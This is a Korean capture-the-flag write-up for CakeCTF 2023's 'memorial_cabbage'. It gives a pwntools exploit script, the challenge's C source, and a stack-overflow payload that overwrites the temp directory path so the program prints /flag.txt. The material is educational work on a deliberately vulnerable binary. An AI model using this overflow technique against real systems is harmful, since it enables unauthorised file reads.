[2023CakeCTF] memorial_cabbage

Exploit code

from pwn import *
context.log_level = 'debug'

p = remote('ip address', 9001)

p.sendlineafter('> ', b'1')

p.sendlineafter('Memo: ',b'A'*4080 + b'/flag.txt'+ b'\x00')

p.sendlineafter('> ', b'2')
p.interactive()

WriteUp

주어진 바이너리의 소스코드는 다음과 같다.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define TEMPDIR_TEMPLATE "/tmp/cabbage.XXXXXX"

static char *tempdir;

void setup() {
  char template[] = TEMPDIR_TEMPLATE;

  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);

  if (!(tempdir = mkdtemp(template))) {
    perror("mkdtemp");
    exit(1);
  }
  if (chdir(tempdir) != 0) {
    perror("chdir");
    exit(1);
  }
}

void memo_r() {
  FILE *fp;
  char path[0x20];
  char buf[0x1000];

  strcpy(path, tempdir);
  strcpy(path + strlen(TEMPDIR_TEMPLATE), "/memo.txt");
  if (!(fp = fopen(path, "r")))
    return;
  fgets(buf, sizeof(buf) - 1, fp);
  fclose(fp);

  printf("Memo: %s", buf);
}

void memo_w() {
  FILE *fp;
  char path[0x20];
  char buf[0x1000];

  printf("Memo: ");
  if (!fgets(buf, sizeof(buf)-1, stdin))
    exit(1);

  strcpy(path, tempdir);
  strcpy(path + strlen(TEMPDIR_TEMPLATE), "/memo.txt");
  if (!(fp = fopen(path, "w")))
    return;
  fwrite(buf, 1, strlen(buf), fp);
  fclose(fp);
}

int main() {
  int choice;

  setup();
  while (1) {
    printf("1. Write memo\n"
           "2. Read memo\n"
           "> ");
    if (scanf("%d%*c", &choice) != 1)
      break;
    switch (choice) {
      case 1: memo_w(); break;
      case 2: memo_r(); break;
      default: return 0;
    }
  }
}
       

매 실행마다 패턴에 맞는 temp주소 값이 생성되어 tempdir에 위치하게 된다. 그리고 read 및 write함수에서 strcpy를 통해 path에 tempdir값을 복사 후, 그 값을 사용한다.

만약 write함수에서 버퍼 오버플로우가 발생해 tempdir값을 변조하는 것이 가능하다면? 원하는 데이터를 read함수를 통해 불러올 수 있게 될 것이다. 게다가 오버플로우의 끝을 null로 처리해 뒤에 붙는 /memo.txt가 오지 않도록 할 수도 있다.

때문에 중요한 것은 memo_w에서 buf와 tempdir의 offset을 구하는 것이다.

offset

소스코드를 잘 보면 memo에서 tempdir을 불러온다.

이때의 값을 잘 볼수 있다면 tempdir의 위치를 알아낼 수 있을 것이다. b *memo_w+118 을 통해 rsi에 저장된 값이 무엇인지 살펴본다.

다음으로 buf에 저장된 값을 확인할 수 있다.

python을 활용해 이들 사이의 offset을 구해본다.

즉 10진수 4080만큼의 차이가 난다. 그러면 다음과 같은 페이로드를 구상해볼 수 있다.

payload = b'A'*4080 + b'/flag.txt' + b'\x00'

이를 write의 buf에 보낸다면 tempdir에 /flag.txt가 덮어씌워지고, 이 상태로 read를 한다면 /flag.txt를 읽어오게 될 것이다.